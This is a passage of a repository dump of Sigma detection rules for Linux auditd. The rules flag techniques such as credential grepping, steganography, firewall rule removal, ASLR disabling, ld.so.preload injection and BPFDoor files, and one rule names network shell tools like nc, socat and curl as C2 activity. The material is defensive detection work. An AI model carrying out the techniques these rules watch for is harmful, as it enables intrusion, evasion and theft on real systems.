"content": "title: Credentials In Files - Linux\nid: df3fcaea-2715-4214-99c5-0056ea59eb35\nstatus: test\ndescription: 'Detecting attempts to extract passwords with grep'\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md\nauthor: 'Igor Fits, oscd.community'\ndate: 2020-10-15\nmodified: 2023-04-30\ntags:\n - attack.credential-access\n - attack.t1552.001\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'EXECVE'\n keywords:\n '|all':\n - 'grep'\n - 'password'\n condition: selection and keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_hidden_files_directories.yml",
"content": "title: Hidden Files and Directories\nid: d08722cd-3d09-449a-80b4-83ea2d9d4616\nstatus: test\ndescription: Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md\nauthor: 'Pawel Mazur'\ndate: 2021-09-06\nmodified: 2025-06-16\ntags:\n - attack.defense-evasion\n - attack.t1564.001\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection_commands:\n type: 'EXECVE'\n a0:\n - 'mkdir'\n - 'nano'\n - 'touch'\n - 'vi'\n - 'vim'\n selection_arguments:\n - a1|re: '(^|\\/)\\.[^.\\/]'\n - a2|re: '(^|\\/)\\.[^.\\/]'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_hidden_zip_files_steganography.yml",
"content": "title: Steganography Hide Zip Information in Picture File\nid: 45810b50-7edc-42ca-813b-bdac02fb946b\nstatus: test\ndescription: Detects appending of zip file to image\nreferences:\n - https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/\nauthor: 'Pawel Mazur'\ndate: 2021-09-09\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.t1027.003\nlogsource:\n product: linux\n service: auditd\ndetection:\n commands:\n type: EXECVE\n a0: cat\n a1:\n a1|endswith:\n - '.jpg'\n - '.png'\n a2:\n a2|endswith: '.zip'\n condition: commands and a1 and a2\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_masquerading_crond.yml",
"content": "title: Masquerading as Linux Crond Process\nid: 9d4548fa-bba0-4e88-bd66-5d5bf516cda0\nstatus: test\ndescription: |\n Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\n Several different variations of this technique have been observed.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process\nauthor: Timur Zinniatullin, oscd.community\ndate: 2019-10-21\nmodified: 2023-08-22\ntags:\n - attack.defense-evasion\n - attack.t1036.003\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'execve'\n a0: 'cp'\n a1: '/bin/sh'\n a2|endswith: '/crond'\n condition: selection\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_modify_system_firewall.yml",
"content": "title: Modify System Firewall\nid: 323ff3f5-0013-4847-bbd4-250b5edb62cc\nrelated:\n - id: 53059bc0-1472-438b-956a-7508a94a91f0\n type: similar\nstatus: test\ndescription: |\n Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access.\n Detection rules that match only on the disabling of firewalls will miss this.\nreferences:\n - https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html\n - https://blog.aquasec.com/container-security-tnt-container-attack\n - https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/html/configuring_and_managing_networking/getting-started-with-nftables_configuring-and-managing-networking\nauthor: IAI\ndate: 2023-03-06\nmodified: 2025-10-12\ntags:\n - attack.t1562.004\n - attack.defense-evasion\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection1:\n type: 'EXECVE'\n a0: 'iptables'\n a1|contains: 'DROP'\n selection2:\n type: 'EXECVE'\n a0: 'firewall-cmd'\n a1|contains: 'remove'\n selection3:\n type: 'EXECVE'\n a0: 'ufw'\n a1|contains: 'delete'\n selection4:\n type: 'EXECVE'\n a0: 'nft'\n a1|contains:\n - 'delete'\n - 'flush'\n condition: 1 of selection*\nfalsepositives:\n - Legitimate admin activity\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_network_sniffing.yml",
"content": "title: Network Sniffing - Linux\nid: f4d3748a-65d1-4806-bd23-e25728081d01\nstatus: test\ndescription: |\n Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md\nauthor: Timur Zinniatullin, oscd.community\ndate: 2019-10-21\nmodified: 2022-12-18\ntags:\n - attack.credential-access\n - attack.discovery\n - attack.t1040\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection_1:\n type: 'execve'\n a0: 'tcpdump'\n a1: '-c'\n a3|contains: '-i'\n selection_2:\n type: 'execve'\n a0: 'tshark'\n a1: '-c'\n a3: '-i'\n condition: 1 of selection_*\nfalsepositives:\n - Legitimate administrator or user uses network sniffing tool for legitimate reasons.\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_screencapture_import.yml",
"content": "title: Screen Capture with Import Tool\nid: dbe4b9c5-c254-4258-9688-d6af0b7967fd\nstatus: test\ndescription: |\n Detects adversary creating screen capture of a desktop with Import Tool.\n Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations.\n ImageMagick must be installed.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md\n - https://linux.die.net/man/1/import\n - https://imagemagick.org/\nauthor: 'Pawel Mazur'\ndate: 2021-09-21\nmodified: 2022-10-09\ntags:\n - attack.collection\n - attack.t1113\nlogsource:\n product: linux\n service: auditd\ndetection:\n import:\n type: EXECVE\n a0: import\n import_window_root:\n a1: '-window'\n a2: 'root'\n a3|endswith:\n - '.png'\n - '.jpg'\n - '.jpeg'\n import_no_window_root:\n a1|endswith:\n - '.png'\n - '.jpg'\n - '.jpeg'\n condition: import and (import_window_root or import_no_window_root)\nfalsepositives:\n - Legitimate use of screenshot utility\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_screencaputre_xwd.yml",
"content": "title: Screen Capture with Xwd\nid: e2f17c5d-b02a-442b-9052-6eb89c9fec9c\nstatus: test\ndescription: Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture\n - https://linux.die.net/man/1/xwd\nauthor: 'Pawel Mazur'\ndate: 2021-09-13\nmodified: 2022-12-18\ntags:\n - attack.collection\n - attack.t1113\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: EXECVE\n a0: xwd\n xwd_root_window:\n a1: '-root'\n a2: '-out'\n a3|endswith: '.xwd'\n xwd_no_root_window:\n a1: '-out'\n a2|endswith: '.xwd'\n condition: selection and 1 of xwd_*\nfalsepositives:\n - Legitimate use of screenshot utility\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_steghide_embed_steganography.yml",
"content": "title: Steganography Hide Files with Steghide\nid: ce446a9e-30b9-4483-8e38-d2c9ad0a2280\nstatus: test\ndescription: Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.\nreferences:\n - https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/\nauthor: 'Pawel Mazur'\ndate: 2021-09-11\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.t1027.003\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: EXECVE\n a0: steghide\n a1: embed\n a2:\n - '-cf'\n - '-ef'\n a4:\n - '-cf'\n - '-ef'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_steghide_extract_steganography.yml",
"content": "title: Steganography Extract Files with Steghide\nid: a5a827d9-1bbe-4952-9293-c59d897eb41b\nstatus: test\ndescription: Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.\nreferences:\n - https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/\nauthor: 'Pawel Mazur'\ndate: 2021-09-11\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.t1027.003\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: EXECVE\n a0: steghide\n a1: extract\n a2: '-sf'\n a3|endswith:\n - '.jpg'\n - '.png'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_susp_cmds.yml",
"content": "title: Suspicious Commands Linux\nid: 1543ae20-cbdf-4ec1-8d12-7664d667a825\nstatus: test\ndescription: Detects relevant commands often related to malware or hacking activity\nreferences:\n - Internal Research - mostly derived from exploit code including code in MSF\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-12-12\nmodified: 2022-10-05\ntags:\n - attack.execution\n - attack.t1059.004\nlogsource:\n product: linux\n service: auditd\ndetection:\n cmd1:\n type: 'EXECVE'\n a0: 'chmod'\n a1: 777\n cmd2:\n type: 'EXECVE'\n a0: 'chmod'\n a1: 'u+s'\n cmd3:\n type: 'EXECVE'\n a0: 'cp'\n a1: '/bin/ksh'\n cmd4:\n type: 'EXECVE'\n a0: 'cp'\n a1: '/bin/sh'\n condition: 1 of cmd*\nfalsepositives:\n - Admin activity\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_susp_histfile_operations.yml",
"content": "title: Suspicious History File Operations - Linux\nid: eae8ce9f-bde9-47a6-8e79-f20d18419910\nstatus: test\ndescription: 'Detects commandline operations on shell history files'\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md\nauthor: 'Mikhail Larin, oscd.community'\ndate: 2020-10-17\nmodified: 2022-11-28\ntags:\n - attack.credential-access\n - attack.t1552.003\nlogsource:\n product: linux\n service: auditd\ndetection:\n execve:\n type: EXECVE\n history:\n - '.bash_history'\n - '.zsh_history'\n - '.zhistory'\n - '.history'\n - '.sh_history'\n - 'fish_history'\n condition: execve and history\nfalsepositives:\n - Legitimate administrative activity\n - Legitimate software, cleaning hist file\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_susp_service_reload_or_restart.yml",
"content": "title: Service Reload or Start - Linux\nid: 2625cc59-0634-40d0-821e-cb67382a3dd7\nstatus: test\ndescription: Detects the start, reload or restart of a service.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md\nauthor: Jakob Weinzettl, oscd.community, CheraghiMilad\ndate: 2019-09-23\nmodified: 2025-03-03\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1543.002\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'EXECVE'\n a0|contains:\n - 'systemctl'\n - 'service'\n a1|contains:\n - 'reload'\n - 'start'\n condition: selection\nfalsepositives:\n - Installation of legitimate service.\n - Legitimate reconfiguration of service.\n - Command line contains daemon-reload.\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_system_shutdown_reboot.yml",
"content": "title: System Shutdown/Reboot - Linux\nid: 4cb57c2f-1f29-41f8-893d-8bed8e1c1d2f\nstatus: test\ndescription: Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md\nauthor: 'Igor Fits, oscd.community'\ndate: 2020-10-15\nmodified: 2022-11-26\ntags:\n - attack.impact\n - attack.t1529\nlogsource:\n product: linux\n service: auditd\ndetection:\n execve:\n type: 'EXECVE'\n shutdowncmd:\n - 'shutdown'\n - 'reboot'\n - 'halt'\n - 'poweroff'\n init:\n - 'init'\n - 'telinit'\n initselection:\n - 0\n - 6\n condition: execve and (shutdowncmd or (init and initselection))\nfalsepositives:\n - Legitimate administrative activity\nlevel: informational\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_unzip_hidden_zip_files_steganography.yml",
"content": "title: Steganography Unzip Hidden Information From Picture File\nid: edd595d7-7895-4fa7-acb3-85a18a8772ca\nstatus: test\ndescription: Detects extracting of zip file from image file\nreferences:\n - https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/\nauthor: 'Pawel Mazur'\ndate: 2021-09-09\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.t1027.003\nlogsource:\n product: linux\n service: auditd\ndetection:\n commands:\n type: EXECVE\n a0: unzip\n a1:\n a1|endswith:\n - '.jpg'\n - '.png'\n condition: commands and a1\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_user_discovery.yml",
"content": "title: System Owner or User Discovery - Linux\nid: 9a0d8ca0-2385-4020-b6c6-cb6153ca56f3\nstatus: test\ndescription: |\n Detects the execution of host or user discovery utilities such as \"whoami\", \"hostname\", \"id\", etc.\n Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md\nauthor: Timur Zinniatullin, oscd.community\ndate: 2019-10-21\nmodified: 2025-06-04\ntags:\n - attack.discovery\n - attack.t1033\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'EXECVE'\n a0:\n - 'hostname'\n - 'id'\n - 'last'\n - 'uname'\n - 'users'\n - 'w'\n - 'who'\n - 'whoami'\n condition: selection\nfalsepositives:\n - Admin activity\nlevel: low\n"
},
{
"path": "rules/linux/auditd/lnx_auditd_audio_capture.yml",
"content": "title: Audio Capture\nid: a7af2487-9c2f-42e4-9bb9-ff961f0561d5\nstatus: test\ndescription: Detects attempts to record audio using the arecord and ecasound utilities.\nreferences:\n - https://linux.die.net/man/1/arecord\n - https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa\n - https://manpages.debian.org/unstable/ecasound/ecasound.1.en.html\n - https://ecasound.seul.org/ecasound/Documentation/examples.html#fconversions\nauthor: Pawel Mazur, Milad Cheraghi\ndate: 2021-09-04\nmodified: 2025-12-05\ntags:\n - attack.collection\n - attack.t1123\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection_execve:\n type: EXECVE\n a0: arecord\n a1: '-vv'\n a2: '-fdat'\n selection_syscall_memfd_create:\n type: SYSCALL\n exe|endswith: \"/ecasound\"\n SYSCALL: 'memfd_create'\n condition: 1 of selection_*\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/auditd/lnx_auditd_disable_aslr_protection.yml",
"content": "title: ASLR Disabled Via Sysctl or Direct Syscall - Linux\nid: e497a24e-9345-4a62-9803-b06d7d7cb132\nstatus: experimental\ndescription: |\n Detects actions that disable Address Space Layout Randomization (ASLR) in Linux, including:\n - Use of the `personality` syscall with the ADDR_NO_RANDOMIZE flag (0x0040000)\n - Modification of the /proc/sys/kernel/randomize_va_space file\n - Execution of the `sysctl` command to set `kernel.randomize_va_space=0`\n Disabling ASLR is often used by attackers during exploit development or to bypass memory protection mechanisms.\n A successful use of these methods can reduce the effectiveness of ASLR and make memory corruption attacks more reliable.\nreferences:\n - https://github.com/CheraghiMilad/bypass-Neo23x0-auditd-config/blob/f1c478a37911a5447d5ffcd580f22b167bf3df14/personality-syscall/README.md\n - https://man7.org/linux/man-pages/man2/personality.2.html\n - https://manual.cs50.io/2/personality\n - https://linux-audit.com/linux-aslr-and-kernelrandomize_va_space-setting/\nauthor: Milad Cheraghi\ndate: 2025-05-26\nmodified: 2025-12-05\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.t1562.001\n - attack.t1055.009\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection_syscall:\n type: 'SYSCALL'\n SYSCALL: 'personality'\n a0: 40000\n selection_sysctl:\n type: 'EXECVE'\n a0: 'sysctl'\n a1: '-w'\n a2: 'kernel.randomize_va_space=0' # 0 = disable\n condition: 1 of selection_*\nfalsepositives:\n - Debugging or legitimate software testing\nlevel: high\n"
},
{
"path": "rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml",
"content": "title: Linux Keylogging with Pam.d\nid: 49aae26c-450e-448b-911d-b3c13d178dfc\nstatus: test\ndescription: Detect attempt to enable auditing of TTY input\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md\n - https://linux.die.net/man/8/pam_tty_audit\n - https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing\n - https://access.redhat.com/articles/4409591#audit-record-types-2\nauthor: 'Pawel Mazur'\ndate: 2021-05-24\nmodified: 2022-12-18\ntags:\n - attack.collection\n - attack.credential-access\n - attack.t1003\n - attack.t1056.001\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection_path_events:\n type: PATH\n name:\n - '/etc/pam.d/system-auth'\n - '/etc/pam.d/password-auth'\n selection_tty_events:\n type:\n - 'TTY'\n - 'USER_TTY'\n condition: 1 of selection_*\nfalsepositives:\n - Administrative work\nlevel: high\n"
},
{
"path": "rules/linux/auditd/lnx_auditd_password_policy_discovery.yml",
"content": "title: Password Policy Discovery - Linux\nid: ca94a6db-8106-4737-9ed2-3e3bb826af0a\nstatus: stable\ndescription: Detects password policy discovery commands\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md\n - https://linux.die.net/man/1/chage\n - https://man7.org/linux/man-pages/man1/passwd.1.html\n - https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu\nauthor: Ömer Günal, oscd.community, Pawel Mazur\ndate: 2020-10-08\nmodified: 2024-12-01\ntags:\n - attack.discovery\n - attack.t1201\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection_files:\n type: 'PATH'\n name:\n - '/etc/login.defs'\n - '/etc/pam.d/auth'\n - '/etc/pam.d/common-account'\n - '/etc/pam.d/common-auth'\n - '/etc/pam.d/common-password'\n - '/etc/pam.d/system-auth'\n - '/etc/security/pwquality.conf'\n selection_chage:\n type: 'EXECVE'\n a0: 'chage'\n a1:\n - '--list'\n - '-l'\n selection_passwd:\n type: 'EXECVE'\n a0: 'passwd'\n a1:\n - '-S'\n - '--status'\n condition: 1 of selection_*\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/auditd/lnx_auditd_susp_c2_commands.yml",
"content": "title: Suspicious C2 Activities\nid: f7158a64-6204-4d6d-868a-6e6378b467e0\nstatus: test\ndescription: |\n Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\n This includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\n These commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\nreferences:\n - https://github.com/Neo23x0/auditd\nauthor: Marie Euler\ndate: 2020-05-18\nmodified: 2021-11-27\ntags:\n - attack.command-and-control\nlogsource:\n product: linux\n service: auditd\n definition: |\n Required auditd configuration:\n -w /usr/bin/wget -p x -k susp_activity\n -w /usr/bin/curl -p x -k susp_activity\n -w /usr/bin/base64 -p x -k susp_activity\n -w /bin/nc -p x -k susp_activity\n -w /bin/netcat -p x -k susp_activity\n -w /usr/bin/ncat -p x -k susp_activity\n -w /usr/bin/ss -p x -k susp_activity\n -w /usr/bin/netstat -p x -k susp_activity\n -w /usr/bin/ssh -p x -k susp_activity\n -w /usr/bin/scp -p x -k susp_activity\n -w /usr/bin/sftp -p x -k susp_activity\n -w /usr/bin/ftp -p x -k susp_activity\n -w /usr/bin/socat -p x -k susp_activity\n -w /usr/bin/wireshark -p x -k susp_activity\n -w /usr/bin/tshark -p x -k susp_activity\n -w /usr/bin/rawshark -p x -k susp_activity\n -w /usr/bin/rdesktop -p x -k susp_activity\n -w /usr/local/bin/rdesktop -p x -k susp_activity\n -w /usr/bin/wlfreerdp -p x -k susp_activity\n -w /usr/bin/xfreerdp -p x -k susp_activity\n -w /usr/local/bin/xfreerdp -p x -k susp_activity\n -w /usr/bin/nmap -p x -k susp_activity\n (via https://github.com/Neo23x0/auditd/blob/ddf2603dbc985f97538d102f13b4e4446b402bae/audit.rules#L336)\ndetection:\n selection:\n key: 'susp_activity'\n condition: selection\nfalsepositives:\n - Admin or User activity\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/lnx_auditd_system_info_discovery.yml",
"content": "title: System Information Discovery - Auditd\nid: f34047d9-20d3-4e8b-8672-0a35cc50dc71\nstatus: test\ndescription: Detects System Information Discovery commands\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md\nauthor: Pawel Mazur\ndate: 2021-09-03\nmodified: 2023-03-06\ntags:\n - attack.discovery\n - attack.t1082\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection_1:\n type: PATH\n name:\n - /etc/lsb-release\n - /etc/redhat-release\n - /etc/issue\n selection_2:\n type: EXECVE\n a0:\n - uname\n - uptime\n - lsmod\n - hostname\n - env\n selection_3:\n type: EXECVE\n a0: grep\n a1|contains:\n - vbox\n - vm\n - xen\n - virtio\n - hv\n selection_4:\n type: EXECVE\n a0: kmod\n a1: list\n condition: 1 of selection_*\nfalsepositives:\n - Likely\nlevel: low\n"
},
{
"path": "rules/linux/auditd/path/lnx_auditd_auditing_config_change.yml",
"content": "title: Auditing Configuration Changes on Linux Host\nid: 977ef627-4539-4875-adf4-ed8f780c4922\nstatus: test\ndescription: Detect changes in auditd configuration files\nreferences:\n - https://github.com/Neo23x0/auditd/blob/master/audit.rules\n - Self Experience\nauthor: Mikhail Larin, oscd.community\ndate: 2019-10-25\nmodified: 2021-11-27\ntags:\n - attack.defense-evasion\n - attack.t1562.006\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: PATH\n name:\n - /etc/audit/*\n - /etc/libaudit.conf\n - /etc/audisp/*\n condition: selection\nfalsepositives:\n - Legitimate administrative activity\nlevel: high\n"
},
{
"path": "rules/linux/auditd/path/lnx_auditd_bpfdoor_file_accessed.yml",
"content": "title: BPFDoor Abnormal Process ID or Lock File Accessed\nid: 808146b2-9332-4d78-9416-d7e47012d83d\nstatus: test\ndescription: detects BPFDoor .lock and .pid files access in temporary file storage facility\nreferences:\n - https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/\n - https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor\nauthor: Rafal Piasecki\ndate: 2022-08-10\ntags:\n - attack.execution\n - attack.t1106\n - attack.t1059\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'PATH'\n name:\n - /var/run/haldrund.pid\n - /var/run/xinetd.lock\n - /var/run/kdevrund.pid\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/linux/auditd/path/lnx_auditd_hidden_binary_execution.yml",
"content": "title: Use Of Hidden Paths Or Files\nid: 9e1bef8d-0fff-46f6-8465-9aa54e128c1e\nrelated:\n - id: d08722cd-3d09-449a-80b4-83ea2d9d4616\n type: similar\nstatus: test\ndescription: Detects calls to hidden files or files located in hidden directories in NIX systems.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md\nauthor: David Burkett, @signalblur\ndate: 2022-12-30\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.t1574.001\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'PATH'\n name|contains: '/.'\n filter:\n name|contains:\n - '/.cache/'\n - '/.config/'\n - '/.pyenv/'\n - '/.rustup/toolchains'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/auditd/path/lnx_auditd_ld_so_preload_mod.yml",
"content": "title: Modification of ld.so.preload\nid: 4b3cb710-5e83-4715-8c45-8b2b5b3e5751\nstatus: test\ndescription: Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md\n - https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html\nauthor: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community\ndate: 2019-10-24\nmodified: 2021-11-27\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.t1574.006\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'PATH'\n name: '/etc/ld.so.preload'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/auditd/path/lnx_auditd_logging_config_change.yml",
"content": "title: Logging Configuration Changes on Linux Host\nid: c830f15d-6f6e-430f-8074-6f73d6807841\nstatus: test\ndescription: Detect changes of syslog daemons configuration files\nreferences:\n - self experience\nauthor: Mikhail Larin, oscd.community\ndate: 2019-10-25\nmodified: 2021-11-27\ntags:\n - attack.defense-evasion\n - attack.t1562.006\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'PATH'\n name:\n - /etc/syslog.conf\n - /etc/rsyslog.conf\n - /etc/syslog-ng/syslog-ng.conf\n condition: selection\nfalsepositives:\n - Legitimate administrative activity\nlevel: high\n"
},
{
"path": "rules/linux/auditd/path/lnx_auditd_magic_system_request_key.yml",
"content": "title: Potential Abuse of Linux Magic System Request Key\nid: ea61bb82-a5e0-42e6-8537-91d29500f1b9\nstatus: experimental\ndescription: |\n Detects the potential abuse of the Linux Magic SysRq (System Request) key by adversaries with root or sufficient privileges\n to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can crash the system, kill processes,\n or disrupt forensic analysis—all while bypassing standard logging. Though intended for recovery and debugging, SysRq can be\n misused as a stealthy post-exploitation tool. It is controlled via /proc/sys/kernel/sysrq or permanently through /etc/sysctl.conf.\nreferences:\n - https://www.kernel.org/doc/html/v4.10/_sources/admin-guide/sysrq.txt\n - https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/4/html/reference_guide/s3-proc-sys-kernel\n - https://www.splunk.com/en_us/blog/security/threat-update-awfulshred-script-wiper.html\nauthor: Milad Cheraghi\ndate: 2025-05-23\ntags:\n - attack.execution\n - attack.t1059.004\n - attack.impact\n - attack.t1529\n - attack.t1489\n - attack.t1499\nlogsource:\n product: linux\n service: auditd\n definition: |\n Required auditd configuration:\n -w /proc/sysrq-trigger -p wa -k sysrq\n -w /proc/sys/kernel/sysrq -p wa -k sysrq\ndetection:\n selection:\n type: 'PATH'\n name|endswith:\n # Enable\n - '/sysrq'\n - '/sysctl.conf'\n # Execute\n - '/sysrq-trigger'\n condition: selection\nfalsepositives:\n - Legitimate administrative activity\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/path/lnx_auditd_system_info_discovery2.yml",
"content": "title: System and Hardware Information Discovery\nid: 1f358e2e-cb63-43c3-b575-dfb072a6814f\nrelated:\n - id: 42df45e7-e6e9-43b5-8f26-bec5b39cc239\n type: derived\nstatus: stable\ndescription: Detects system information discovery commands\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware\nauthor: Ömer Günal, oscd.community\ndate: 2020-10-08\nmodified: 2022-11-26\ntags:\n - attack.discovery\n - attack.t1082\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'PATH'\n name:\n - '/sys/class/dmi/id/bios_version'\n - '/sys/class/dmi/id/product_name'\n - '/sys/class/dmi/id/chassis_vendor'\n - '/proc/scsi/scsi'\n - '/proc/ide/hd0/model'\n - '/proc/version'\n - '/etc/*version'\n - '/etc/*release'\n - '/etc/issue'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: informational\n"
},
{
"path": "rules/linux/auditd/path/lnx_auditd_systemd_service_creation.yml",
